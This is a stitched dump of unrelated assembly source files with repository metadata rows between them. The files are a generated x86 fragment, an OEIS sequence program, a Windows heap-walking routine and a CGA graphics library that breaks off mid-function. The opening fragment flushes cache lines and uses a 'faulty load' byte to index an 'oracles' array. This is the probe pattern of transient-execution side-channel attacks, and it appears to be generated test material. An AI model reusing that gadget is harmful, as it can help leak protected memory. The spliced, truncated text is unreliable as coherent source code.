Store mov $0x5a4a1700000009de, %rsi nop nop nop nop xor %r10, %r10 movl $0x51525354, (%rsi) and $30733, %rsi // Store lea addresses_PSE+0x11236, %rsi clflush (%rsi) nop nop nop inc %r15 mov $0x5152535455565758, %r13 movq %r13, (%rsi) and %r12, %r12 // Load lea addresses_D+0x14efe, %r13 nop nop nop nop sub $30407, %r10 movups (%r13), %xmm5 vpextrq $1, %xmm5, %rdi nop nop cmp $46714, %rsi // Store lea addresses_US+0x103de, %rcx nop nop nop nop inc %r15 movb $0x51, (%rcx) nop nop nop nop nop add $57128, %rdi // Store lea addresses_WT+0x111de, %rcx nop nop nop nop nop sub $31803, %rsi movb $0x51, (%rcx) nop nop nop nop and %r12, %r12 // Faulty Load lea addresses_WT+0x5de, %rsi nop nop nop nop and %r10, %r10 movb (%rsi), %r15b lea oracles, %r12 and $0xff, %r15 shlq $12, %r15 mov (%r12,%r15,1), %r15 pop %rsi pop %rdi pop %rcx pop %r15 pop %r13 pop %r12 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_WT', 'AVXalign': False, 'size': 16, 'NT': True, 'same': False, 'congruent': 0}, 'OP': 'LOAD'} {'src': {'type': 'addresses_RW', 'congruent': 9, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT', 'congruent': 0, 'same': True}} {'src': {'type': 'addresses_WT', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 3}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'type': 'addresses_A', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 3}} {'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 0}} {'OP': 'STOR', 'dst': {'type': 'addresses_NC', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 10}} {'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 3}} {'src': {'type': 'addresses_D', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 3}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'type': 'addresses_US', 'AVXalign': True, 'size': 1, 'NT': False, 'same': False, 'congruent': 7}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 10}} [Faulty Load] {'src': {'type': 'addresses_WT', 'AVXalign': False, 'size': 1, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_A_ht', 'congruent': 0, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 0, 'same': False}} {'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 8}, 'OP': 'LOAD'} {'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 4}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 4}} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 16, 'NT': True, 'same': False, 'congruent': 11}} {'src': {'type': 'addresses_A_ht', 'congruent': 6, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 5, 'same': False}} {'src': {'type': 'addresses_WT_ht', 'congruent': 5, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 3, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 10}} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 11}} {'32': 38} 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 */
19.498339
148
0.650026
6253907d93337d48192770c8c0cc82aaccb21ff1
709
asm
Assembly
oeis/293/A293653.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/293/A293653.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/293/A293653.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A293653: Young urn sequence (number of possible evolutions in n steps of the "Young" Pólya urn). ; Submitted by Jamie Morken(s2) ; 1,2,6,30,180,1440,12960,142560,1710720,23950080,359251200,6107270400,109930867200,2198617344000,46170964224000,1061932177152000,25486372251648000,662645678542848000,17891433320656896000,518851566299049984000,15565546988971499520000,498097503647087984640000,16437217620353903493120000,575302616712386622259200000,20710894201645918401331200000,787013979662544899250585600000,30693545206839251070772838400000,1258435353480409293901686374400000,52854284846177190343870827724800000 mov $2,1 lpb $0 sub $0,1 add $3,5 mod $3,2 add $1,$3 add $1,1 mul $2,$1 lpe mov $0,$2
47.266667
478
0.8378
38c8411da54513f3d18aa534e8c127f4e64ed840
23,964
asm
Assembly
base/mvdm/wow16/toolhelp/walk286.asm
npocmaka/Windows-Server-2003
5c6fe3db626b63a384230a1aa6b92ac416b0765f
[ "Unlicense" ]
17
2020-11-13T13:42:52.000Z
2021-09-16T09:13:13.000Z
base/mvdm/wow16/toolhelp/walk286.asm
sancho1952007/Windows-Server-2003
5c6fe3db626b63a384230a1aa6b92ac416b0765f
[ "Unlicense" ]
2
2020-10-19T08:02:06.000Z
2020-10-19T08:23:18.000Z
base/mvdm/wow16/toolhelp/walk286.asm
sancho1952007/Windows-Server-2003
5c6fe3db626b63a384230a1aa6b92ac416b0765f
[ "Unlicense" ]
14
2020-11-14T09:43:20.000Z
2021-08-28T08:59:57.000Z
;************************************************************************** ;* walk286.ASM ;* ;* Assembly support code for the KRNL286 global heap routines ;* for TOOLHELP.DLL ;* ;************************************************************************** INCLUDE TOOLPRIV.INC PMODE32 = 0 PMODE = 1 SWAPPRO = 0 INCLUDE WINKERN.INC ;** External functions externNP HelperVerifySeg externNP HelperHandleToSel externNP HelperPDBtoTDB externNP HelperSegLen ;** Functions sBegin CODE assumes CS,CODE ; Walk286Count ; ; Returns the number of blocks in the given list cProc Walk286Count, <PUBLIC,NEAR>, <di> parmW wFlags cBegin mov es,hMaster ;Segment of master block mov ax,wFlags ;Get the flag value shr ax,1 ;Check for GLOBAL_LRU jc W2C_LRU ;Bit set, must be LRU shr ax,1 ;Check for GLOBAL_FREE jc W2C_Free ;Must be free ;Must be GLOBAL_ALL ;** Get total object count mov ax,es:[hi_count] ;Get heap count inc ax ;Bump to include first sentinel jmp SHORT W2C_End ;Get out ;** Get LRU object count W2C_LRU: mov ax,es:[gi_lrucount] ;Get the LRU count jmp SHORT W2C_End ;Get out ;** Get Free list object count W2C_Free: mov ax,es:[gi_free_count] ;Get free count jmp SHORT W2C_End ;Get out ;** Return the result in AX W2C_End: cEnd ; Walk286First ; ; Returns a handle to the first block in the 286 global heap. cProc Walk286First, <PUBLIC,NEAR>, <di> parmW wFlags cBegin mov es,hMaster ;Segment of master block mov ax,wFlags ;Get the flag value shr ax,1 ;Check for GLOBAL_LRU jc W2F_LRU ;Bit set, must be LRU shr ax,1 ;Check for GLOBAL_FREE jc W2F_Free ;Must be free ;Must be GLOBAL_ALL ;** Get first object in complete heap (wFlags == GLOBAL_ALL) mov ax,es:[hi_first] ;Get handle of first arena header jmp SHORT W2F_End ;Get out ;** Get first object in LRU list W2F_LRU: mov ax,es:[gi_lrucount] ;Get the number of objects or ax,ax ;Are there any objects? je W2F_End ;No, return NULL inc es:[gi_lrulock] ;No LRU sweeping for awhile inc wLRUCount ;Keep a count of this mov ax,es:[gi_lruchain] ;Get a pointer to the first item jmp SHORT W2F_End ;Done ;** Get first object in Free list W2F_Free: mov ax,es:[gi_free_count] ;Get the number of objects or ax,ax ;Are there any objects? jz W2F_End ;No, return NULL mov es,es:[hi_first] ;Get the first object mov ax,es:[ga_freenext] ;Skip to the first free block ;Fall through to the return ;** Return the result in AX (return DX = NULL) W2F_End: xor dx,dx ;Clear high word cEnd ; Walk286 ; ; Takes a pointer to a block and returns a GLOBALENTRY structure ; full of information about the block. If the block pointer is ; NULL, looks at the first block. The last field in the GLOBALENTRY ; structure is used to chain to the next block and is thus used to walk ; the heap. cProc Walk286, <PUBLIC,NEAR>, <di,si,ds> parmD dwBlock parmD lpGlobal parmW wFlags cBegin ;** Set up to build public structure mov es,WORD PTR dwBlock ;Point to this block lds si,lpGlobal ;Point to the GLOBALENTRY structure ;** Fill public structure mov ax,es:[ga_handle] ;Get the handle of the block mov [si].ge_hBlock,ax ;Put in public structure mov ax,es:[ga_size] ;Get the size of the block (LOWORD) mov dx,ax ;Clear high word shl ax,4 ;Left shift DX:AX by 4 shr dx,16-4 mov WORD PTR [si].ge_dwBlockSize,ax ;Put in public structure mov WORD PTR [si].ge_dwBlockSize + 2,dx ;Put in public structure mov ax,es:[ga_owner] ;Owning task of block mov [si].ge_hOwner,ax ;Put in public structure xor ah,ah ;No upper BYTE mov al,es:[ga_count] ;Lock count (moveable segments) mov [si].ge_wcLock,ax ;Put in public structure mov WORD PTR [si].ge_wcPageLock,0 ;Zero the page lock count mov al,es:[ga_flags] ;BYTE of flags xor ah,ah ;No upper BYTE mov [si].ge_wFlags,ax ;Put in public structure mov ax,es:[ga_next] ;Put next pointer in structure mov WORD PTR [si].ge_dwNext,ax mov WORD PTR [si].ge_dwNext + 2,0 ;** Use DPMI to compute linear address of selector mov ax,6 ;Get Segment Base Address mov bx,es ;Get the segment value int 31h ;Call DPMI mov WORD PTR [si].ge_dwAddress,dx ;Save linear address mov WORD PTR [si].ge_dwAddress + 2,cx ;** If this is a data segment, get local heap information mov ax,[si].ge_hBlock ;Get the handle cCall Walk286VerifyLocHeap mov [si].ge_wHeapPresent,TRUE ;Flag that there's a heap jnc W2_10 ;There really is no heap mov [si].ge_wHeapPresent,FALSE ;Flag that there's no heap W2_10: ;** If the owner is a PDB, translate this to the TDB mov bx,[si].ge_hOwner ;Get the owner cCall HelperHandleToSel, <bx> ;Translate to selector mov bx,ax ;Get the selector in BX cCall HelperVerifySeg, <ax,2> ;Must be two bytes long or ax,ax ;Is it? jz W2_15 ;No. push es ;Save ES for later mov es,bx ;Point to possible PDB block cmp es:[0],20CDh ;Int 20h is first word of PDB jnz W2_12 ;Nope, don't mess with this mov ax,bx ;Pass parameter in AX cCall HelperPDBtoTDB ;Get the corresponding TDB or ax,ax ;Was one found? jz W2_11 ;No. mov [si].ge_hOwner,ax ;Make the owner the TDB instead W2_11: or [si].ge_wFlags,GF_PDB_OWNER ;Flag that a PDB owned block W2_12: pop es ;Restore ES W2_15: ;** Check for this being the last item in both lists mov ax,es ;Get the current pointer cmp ax,es:[ga_next] ;See if we're at the end jne W2_20 ;No mov WORD PTR [si].ge_dwNext,0 ;NULL the next pointer mov WORD PTR [si].ge_dwNext + 2,0 W2_20: mov ax,es ;Get current pointer mov cx,wFlags ;Get the flags back cCall NextLRU286 ;Get next LRU list pointer or 0 mov WORD PTR [si].ge_dwNextAlt,ax mov WORD PTR [si].ge_dwNextAlt + 2,0 W2_End: cEnd ; Walk286Handle ; ; Finds an arena pointer given a block handle cProc Walk286Handle, <PUBLIC,NEAR>, <di,si,ds> parmW hBlock cBegin mov ax,hBlock ;Get the block handle cCall HelperHandleToSel, <ax> ;Convert to selector cCall SelToArena286 ;Get the arena pointer jnc W2H_10 ;Must be OK xor ax,ax ;Return a 0L xor dx,dx jmp SHORT W2H_End ;Error in conversion, get out W2H_10: mov ax,bx ;Get the low word xor dx,dx ;No high word W2H_End: cEnd ; WalkLoc286Count ; ; Returns the number of blocks in the given local heap cProc WalkLoc286Count, <PUBLIC,NEAR>, <di> parmW hHeap cBegin ;** Verify that it has a local heap mov ax, hHeap ;Get the block cCall Walk286VerifyLocHeap ;Verify it jnc LC_10 ;It's OK xor ax,ax ;No heap jmp SHORT LC_End ;Get out LC_10: ;** Point to the block mov ax,hHeap ;Get the heap block cCall HelperHandleToSel, <ax> ;Convert it to a selector mov es,ax ;Use ES to point to it mov bx,es:[6] ;Get a pointer to the HeapInfo struct ;** Get the number of blocks mov ax,es:[bx].hi_count ;Get the count LC_End: cEnd ; WalkLoc286First ; ; Returns a handle to the first block in the 286 global heap. cProc WalkLoc286First, <PUBLIC,NEAR>, <di> parmW hHeap cBegin ;** Verify that the given global block has a local heap mov ax, hHeap ;Get the block cCall Walk286VerifyLocHeap ;Verify it jnc LF_10 ;It's OK xor ax,ax ;No heap jmp SHORT LF_End ;Get out LF_10: ;** Point to the global block mov ax,hHeap ;Get the heap block cCall HelperHandleToSel, <ax> ;Convert it to a selector mov es,ax ;Use ES to point to it mov bx,es:[6] ;Get a pointer to the HeapInfo struct ;** Get the first block and return it mov ax,WORD PTR es:[bx].hi_first ;Get the first block LF_End: cEnd ; WalkLoc286 ; ; Takes a pointer to a block and returns a GLOBALENTRY structure ; full of information about the block. If the block pointer is ; NULL, looks at the first block. The last field in the GLOBALENTRY ; structure is used to chain to the next block and is thus used to walk ; the heap. cProc WalkLoc286, <PUBLIC,NEAR>, <di,si,ds> parmW wBlock parmD lpLocal parmW hHeap cBegin ;** Verify that it has a local heap mov ax, hHeap ;Get the block cCall Walk286VerifyLocHeap ;Verify it jnc LW_10 ;It's OK jmp LW_End ;Get out LW_10: ;** Get variables from the TOOLHELP DGROUP mov ax,_DATA ;Get the variables first mov ds,ax ;Point to our DS mov bx,hUserHeap ;BX=User's heap block mov cx,hGDIHeap ;CX=GDI's heap block ;** Point to the heap mov ax,hHeap ;Get the heap block cCall HelperHandleToSel, <ax> ;Convert it to a selector mov es,ax ;Use ES to point to it lds di,lpLocal ;Point to the LOCALENTRY structure mov [di].le_wHeapType,NORMAL_HEAP ;In case we don't match below... cmp bx,hHeap ;User's heap? jnz LW_3 ;No mov [di].le_wHeapType,USER_HEAP ;Yes jmp SHORT LW_5 ;Skip on LW_3: cmp cx,hHeap ;GDI's heap? jnz LW_5 ;No mov [di].le_wHeapType,GDI_HEAP ;Yes LW_5: mov si,wBlock ;Get the address of the block ;** Get information about the given block mov bx,es:[si].la_handle ;Get the handle mov [di].le_hHandle,bx ;Save in the public structure mov ax,si ;Get block address add ax,la_fixedsize ;Skip fixed size local arena mov [di].le_wAddress,ax ;Save the block address mov ax,es:[si].la_next ;Get the address of the next block mov [di].le_wNext,ax ;Save the next pointer sub ax,si ;Compute the size sub ax,SIZE LocalArena ;Don't count arena size mov [di].le_wSize,ax ;Save in public structure mov ax,es:[si].la_prev ;Get the flags and ax,3 ;Mask out all but flags mov [di].le_wFlags,ax ;Save in structure ;** Moveable arenas are bigger and have a lock count to get test al,LA_MOVEABLE ;Block has a handle iff it's moveable jz SHORT LW_NoHandle ;No handle info sub [di].le_wSize, (SIZE LocalArena) - la_fixedsize add [di].le_wAddress, (SIZE LocalArena) - la_fixedsize xor ah,ah ;Clear upper word mov al,es:[bx].lhe_count ;Get lock count mov [di].le_wcLock,ax ;Save it jmp SHORT LW_20 ;Skip no handle info LW_NoHandle: mov ax, [di].le_wAddress ;Handle of fixed block is real offset mov [di].le_hHandle, ax mov [di].le_wcLock,0 LW_20: ;** See if it's the end cmp [di].le_wNext,si ;Loop pointer? jnz LW_End ;Nope mov [di].le_wNext,0 ;Set a zero pointer LW_End: cEnd ; Walk286VerifyLocHeap ; ; Verifies that the given global block points to a data segment ; with a local heap. ; ; Call: ; AX = Block handle or selector ; Return: ; Carry flag set iff NOT a local heap segment ; ; Destroys all registers except AX, ESI, EDI, DS, and ES cProc Walk286VerifyLocHeap, <PUBLIC,NEAR>, <es,si,di> cBegin ;** Convert to a handle cCall HelperHandleToSel, <ax> ;** Verify the selector push ax ;Save the parameter mov bx,SIZE LocalInfo ;Get the size cCall HelperVerifySeg, <ax,bx> ;Check the selector or ax,ax ;Is it valid? pop ax ;Restore parameter jnz VLH_SelOK ;Yes. stc ;Set error flag jmp SHORT VLH_End ;Get out VLH_SelOK: ;** Check data segment to see if it has a local heap mov es,ax ;Point to the local block with ES cCall HelperSegLen, <ax> ;Get the length of the heap or ax,ax ;Check for error jz VLH_NoHeap ;Get out on error mov cx,ax ;Use CX for comparisons cmp cx,8 ;At least 8 bytes long? ja VLH_10 ;Yes stc ;No -- set error flag and get out jmp SHORT VLH_End VLH_10: mov bx,es:[6] ;Get offset to HeapInfo struct or bx,bx ;If NULL, no local heap jz VLH_NoHeap ;Get out sub cx,bx ;See if HeapInfo is beyond segment jbe VLH_NoHeap sub cx,li_sig + 2 ;Compare against last structure mem jbe VLH_NoHeap cmp es:[bx].li_sig,LOCALHEAP_SIG ;Make sure the signature matches jne VLH_NoHeap ;Doesn't match clc ;Must be a heap! jmp SHORT VLH_End VLH_NoHeap: stc ;Set error flag VLH_End: cEnd ;** Private helper functions ; SelToArena286 ; ; Finds the arena entry for the given selector or handle. ; The arena entry is stored 16 bytes before the block in linear ; address space. ; ; Caller: AX = Selector ; Returns: BX = Arena entry ; Trashes everything except segment registers and AX ; Carry set on error cProc SelToArena286, <NEAR>, <es,ds,ax> cBegin ;** Convert to a handle cCall HelperHandleToSel, <ax> ;** Verify selector push ax ;Save the parameter cCall HelperVerifySeg, <ax,1> ;Check the selector or ax,ax ;Is it valid? pop ax ;Restore parameter jnz STA_SelOK ;Must be stc ;Nope. Set error flag and exit jmp SHORT STA_End STA_SelOK: ;** If this is Win30StdMode, we're in the old KRNL286 which used ;* an arcane method of finding the arena. If that's the case ;** here, handle it seperately. mov bx,_DATA ;Get the static data segment mov ds,bx test wTHFlags,TH_WIN30STDMODE ;3.0 Std Mode? jnz STA_OldKRNL286 ;Yes mov bx,segKernel ;Get the KERNEL variable segment mov es,bx mov bx,npwSelTableLen ;Get the pointer mov dx,es:[bx] ;Get the selector table length mov bx,npdwSelTableStart ;Get the start of the sel table mov bx,es:[bx] ;Get the linear offset (32 bits) mov es,hMaster ;Point to the arena table and al,not 7 ;Clear the RPL bits for table lookup shr ax,2 ;Convert to WORD offset cmp ax,dx ;Check to see if off the end of table jb STA_InTable ;It's in the table stc ;Set error flag--not in table jmp SHORT STA_End ;Get out STA_InTable: add bx,ax ;Add the selector offset mov bx,es:[bx] ;Do the sel table indirection clc ;BX now points to arena segment jmp SHORT STA_End ;Skip the old stuff STA_OldKRNL286: mov bx,ax ;Selector in BX mov ax,6 ;DPMI function 6, Get Seg Base Addr int 31h ;Call DPMI sub dx,10h ;Move back 16 bytes sbb cx,0 ; (this is a linear address) mov ax,7 ;DPMI function 7, Set Seg Base Addr mov bx,wSel ;Use our roving selector int 31h ;Call DPMI mov ax,8 ;DPMI function 8, Set Seg Limit xor cx,cx ;No upper byte mov dx,16 ;Just 16 bytes int 31h ;Call DPMI mov ax,9 ;DPMI function 9, Set Access Rights mov cl,0b2h ;Desired rights byte int 31h ;Call DPMI ;Return arena segment pointer in BX STA_End: cEnd ; NextLRU286 ; ; Checks the given arena table pointer to see if it is the last ; arena entry on the list. ; Uses a grungy method that is necessitated because of the ; unterminated linked lists we're dealing with here. The count ; stored is the only reliable method for finding the end. So, to ; provide random access to blocks in the heap, the heap is searched ; from top to bottom to find the block and see if it is the last ; one. If it is or if it is not on the given list, returns a 0 ; pointer to the next item. ; ; If this search is for the entire global heap, we do not get the ; LRU link, but return NULL in AX. This speeds this up alot! ; ; Caller: AX = Arena table pointer ; CX = GLOBAL_ALL, GLOBAL_FREE, or GLOBAL_LRU ; Return: AX = Next arena table pointer or 0 if no more ; Trashes all registers except segment registers and SI,DI cProc NextLRU286, <NEAR,PUBLIC>, <es,ds,si,di> cBegin ;** Decode the flags mov bx,_DATA ;Get the static data segment mov ds,bx ;Point with DS mov es,hMaster ;Segment of master block cmp cx,GLOBAL_ALL ;Don't do this on full heap search jne @F jmp SHORT NL_BadList ;Just return NULL for this one @@: cmp cx,GLOBAL_FREE ;Check free list? je NL_Free ;Yes ;** Loop through LRU list until we find this item NL_LRU: mov si,ax ;Save the selector in AX mov cx,es:[gi_lrucount] ;Get the number of objects jcxz NL_Bad ;No object so return end dec cx ;We don't want to find the last one jcxz NL_Bad ;1 object so return end mov ds,es:[gi_lruchain] ;Get a pointer to the first item NL_LRULoop: mov ax,ds ;Get in AX so we can compare cmp si,ax ;Match yet? je NL_ReturnNext ;Found it, return next item mov ds,ds:[ga_lrunext] ;Not found yet, get the next one loop NL_LRULoop ;Loop through all items ;** Unlock the LRU sweeping NL_Bad: dec es:[gi_lrulock] ;OK to LRU sweep now mov ax, _DATA ;Point to TH Data seg mov ds, ax dec wLRUCount ;Keep a count of this jmp SHORT NL_BadList ;Not here either. Get out ;** Loop through free list until we find this item NL_Free: mov si,ax ;Save the selector in SI mov cx,es:[gi_free_count] ;Get the number of objects jcxz NL_BadList ;0 objects so return end dec cx ;We don't want to find the last one jcxz NL_BadList ;1 object so return end mov ds,es:[hi_first] ;Get a pointer to the first item NL_FreeLoop: mov ds,ds:[ga_lrunext] ;Not found yet, get the next one mov ax,ds ;Get the pointer so we can compare it cmp ax,si ;Is this the one? je NL_ReturnNext ;Yes, return it loop NL_FreeLoop ;Loop through all items jmp SHORT NL_BadList ;Not here either. Get out NL_ReturnNext: mov ax,ds:[ga_lrunext] ;Return the next one jmp SHORT NL_End ;Get out NL_BadList: xor ax,ax ;Return zero for error NL_End: cEnd sEnd END
42.564831
79
0.493407
d9a6881fb7de25e7724b468b8da7f2216db05f44
13,926
asm
Assembly
cgalib.asm
raphnet/rc201804
b59293e2b08fdd0559eda4896fc92b16c3b0042c
[ "MIT" ]
null
null
null
cgalib.asm
raphnet/rc201804
b59293e2b08fdd0559eda4896fc92b16c3b0042c
[ "MIT" ]
null
null
null
cgalib.asm
raphnet/rc201804
b59293e2b08fdd0559eda4896fc92b16c3b0042c
[ "MIT" ]
null
null
null
; A quick and dirty library for CGA Low-res mode ; By Raphaël Assénat, started December 2015 ; ; %include 'lang.asm' %include 'animation.asm' %define SCREEN_WIDTH 320 %define SCREEN_HEIGHT 200 %define BITS_PER_PIXEL 2 %define OPTIMISED_PUT_VERT_LINE %define SET_BGCOLOR_IMPLEMENTED %define FLASH_BACKGROUND_IMPLEMENTED %include 'videolib_common.asm' %define get16x16TileID(label) ((label-first16x16_tile)/(4*16)) ; Macro to include a resource file. Argument: Resource name. (unquoted) ; ; A label matching the resource name prefixed by res_ will be created. ; The resource will be included using incbin. ; The full filename will be res_tga/name.tga ; ; i.e: ; inc_resource droplet ; would include: ; res_cga/droplet.cga ; and the label would be: ; res_droplet: %macro inc_resource 1 res_%1: %defstr namestr %1 %strcat base "res_cga/" namestr ; Build left part of path %strcat filename base ".cga" incbin filename %endmacro section .text ; Points ES:DI to the base of video memory. ; Must be called before using most of the functions in this library. ; Can be called only once if ES:DI is never used (or preserved when modified) setupVRAMpointer: push ax mov ax,0B800h mov es,ax xor di,di pop ax ret ; Points ES:DI to an off-screen surface setupOFFSCREENpointer: push ax mov di, screen_backup mov ax, ds mov es, ax pop ax ret ;;;;; ; TODO ; ; Clear a 8x8 rectangle ; AX : X ; BX : Y ; ES : video memory base clr8x8: push ax push di cld ; Get row mov di, bx shl di, 1 add di, cgarows mov di, [di] test al, 3 jz _clr8x8_double _clr8x8_triple: ; Get col (x/4) shr ax, 1 shr ax, 1 add di, ax xor ax, ax ; clear is color 0 ;mov ax, 255 ; clear is color 0 stosw stosb add di, 77 stosw stosb add di, 77 stosw stosb add di, 77 stosw stosb sub di, 80 * 3 + 3 xor di, 0x2000 test di, 0x2000 jnz _c3_waseven add di, 80 _c3_waseven: stosw stosb add di, 77 stosw stosb add di, 77 stosw stosb add di, 77 stosw stosb pop di pop ax ret _clr8x8_double: ; Get col (x/4) shr ax, 1 shr ax, 1 add di, ax xor ax, ax ; clear is color 0 ;mov ax, 255 ; clear is color 0 stosw add di, 78 stosw add di, 78 stosw add di, 78 stosw sub di, 80 * 3 + 2 xor di, 0x2000 test di, 0x2000 jnz _c2_waseven add di, 80 _c2_waseven: stosw add di, 78 stosw add di, 78 stosw add di, 78 stosw pop di pop ax ret ;;;;; ; es:di : Video memory base ; ax: Offset in line (on a 4 pixel grid) ; bx: First line ; cx: Width ; dx: Height ; [draw_color] : Pixel color ; fillRect: push ax push bx push cx push dx push di and cx,cx jz _fr_lines_range_done and dx,dx jz _fr_lines_range_done ; Repeat the color for each packed pixel over AX push ax mov al, [draw_color] and al, 03h mov ah, al shl al,1 shl al,1 or ah, al shl al,1 shl al,1 or ah, al shl al,1 shl al,1 or ah, al mov al, ah mov [draw_color], al pop ax push ax push bx mov ax, bx shr ax, 1 mov bl, 80 mul bl add di, ax pop bx pop ax cld shr ax, 1 shr ax, 1 ; Divide start_x by 4 add di, ax shr cx, 1 ; Divide width by 4 shr cx, 1 ; Prepare AX with draw color mov al, [draw_color] mov ah, al test bx, 1 jz _fr_even add di, 0x2000 jmp _fr_start_on_odd_line _fr_even: push cx rep stosb pop cx dec dx jz _fr_lines_range_done _fr_odd: add di, 0x2000 sub di, cx _fr_start_on_odd_line: push cx ; clear line rep stosb pop cx dec dx jz _fr_lines_range_done sub di, cx sub di, 0x2000-80 ; clean line jmp _fr_even _fr_lines_range_done: pop di pop dx pop cx pop bx pop ax ret ;;;;; ; es:di : Video memory base ; bx: First line ; cx: Number of lines ; al: Color (2-bit, right-aligned) ; clearLinesRange: push ax push bx push cx push dx push di and cx,cx jz _clr_lines_range_done ; Repeat the color for each packed pixel over AX and al, 03h mov ah, al shl al,1 shl al,1 or ah, al shl al,1 shl al,1 or ah, al shl al,1 shl al,1 or ah, al mov al, ah push ax push bx shl bx, 1 add bx, cgarows mov di, [bx] ; mov ax, bx ; shr ax, 1 ; mov bl, 80 ; mul bl ; add di, ax pop bx pop ax cld test bx, 1 jz _clr_even jmp _start_on_odd_line _clr_even: times 40 stosw dec cx jz _clr_lines_range_done _clr_odd: add di, 0x2000-80 _start_on_odd_line: ; clear line times 40 stosw dec cx jz _clr_lines_range_done sub di, 0x2000 ; clean line jmp _clr_even _clr_lines_range_done: pop di pop dx pop cx pop bx pop ax ret ; es:di : Video memory base savescreen: push ax push cx push es push di push ds push si ;xchg es, ds push es push ds pop es pop ds xchg si, di mov di, screen_backup mov cx, 320*200/16 rep movsw ; ds:si to es:di mov di, screen_backup + 2000h mov si, 2000h mov cx, 320*200/16 rep movsw pop si pop ds pop di pop es pop cx pop ax ret ; es:di : Video memory base restorescreen: push ax push cx push di push si mov si, screen_backup mov cx, 320*200/16 rep movsw mov si, screen_backup + 2000h mov di, 2000h mov cx, 320*200/16 rep movsw pop si pop di pop cx pop ax ret ; es:di : Video memory base ; al: Color (2-bit, right-aligned) fillScreen: push ax push bx push cx push di ; Repeat the color for each packed pixel over AX and al, 03h mov ah, al shl al,1 shl al,1 or ah, al shl al,1 shl al,1 or ah, al shl al,1 shl al,1 or ah, al mov al, ah ; Even lines mov bx, 100 _fs_even_lp: mov cx, 40 rep stosw dec bx jnz _fs_even_lp ; Odd field mov bx, 100 add di, 0x2000-(100*80) _fs_odd_lp: mov cx, 40 rep stosw dec bx jnz _fs_odd_lp pop di pop cx pop bx pop ax ret ;;;; put vertical line ;; es:di : Video memory base ;; AX : X coordinate ;; BX : Y coordinate ;; CX : Line length ;; DL : Color putVertLine: push ax push cx push dx push di push si push ds push cx mov si, bx shl si, 1 add si, cgarows mov di, [si] mov cx,es mov ds,cx ; Isolate the correct 2 bits mov cl, al xor cl, 0xff and cl, 3 shl cl, 1 ; 2 bpp ; Prepare mask and value to OR simultaneously ; dl holds color in 2 lower bits and dx, 0x0003 or dx, 0xfcfc rol dx, cl xor dl, dh ; Cleanup pixel ; SI + X / 4 shr ax, 1 shr ax, 1 add di, ax mov si, di ; Need to read pixel first pop cx test di, 0x2000 jnz _dvl_odd _dvl_loop: lodsb ; read pixel to al and al, dh ; mask pixel or al, dl ; Apply pixel stosb ; al add di, 0x2000-1 mov si, di dec cx jz _dvl_loop_done _dvl_odd: lodsb ; read pixel to al and al, dh ; mask pixel or al, dl ; Apply pixel stosb ; al sub di, 0x2000 + 1 - 80 mov si, di loop _dvl_loop _dvl_loop_done: pop ds pop si pop di pop dx pop cx pop ax ret ;;;; put pixel ;; es:di : Video memory base ;; AX : X coordinate ;; BX : Y coordinate ;; DL : Color putPixel: push ax push cx push dx push di push si push ds mov si, bx shl si, 1 add si, cgarows add di, [si] mov cx,es mov ds,cx ; Isolate the correct 2 bits mov cl, al xor cl, 0xff and cl, 3 shl cl, 1 ; 2 bpp ; Prepare mask and value to OR simultaneously ; dl holds color in 2 lower bits and dx, 0x0003 or dx, 0xfcfc rol dx, cl xor dl, dh ; Cleanup pixel ; SI + X / 4 shr ax, 1 shr ax, 1 add di, ax mov si, di ; Need to read pixel first lodsb ; read pixel to al and al, dh ; mask pixel or al, dl ; Apply pixel ; Write the pixel back stosb ; al pop ds pop si pop di pop dx pop cx pop ax ret %macro getPixelMacro_clobCX_DX_SI 0 push ax ; row address mov si, bx shl si, 1 add si, cgarows mov si, [si] add si, di ; row offset mov dx, ax shr dx, 1 shr dx, 1 add si, dx ; Isolate the correct 2 bits mov cl, al inc cl and cl, 3 shl cl, 1 ES lodsb ; DS:SI to al rol al, cl and al, 3 mov dl, al pop ax %endmacro ;;;; get pixel ;; es:di 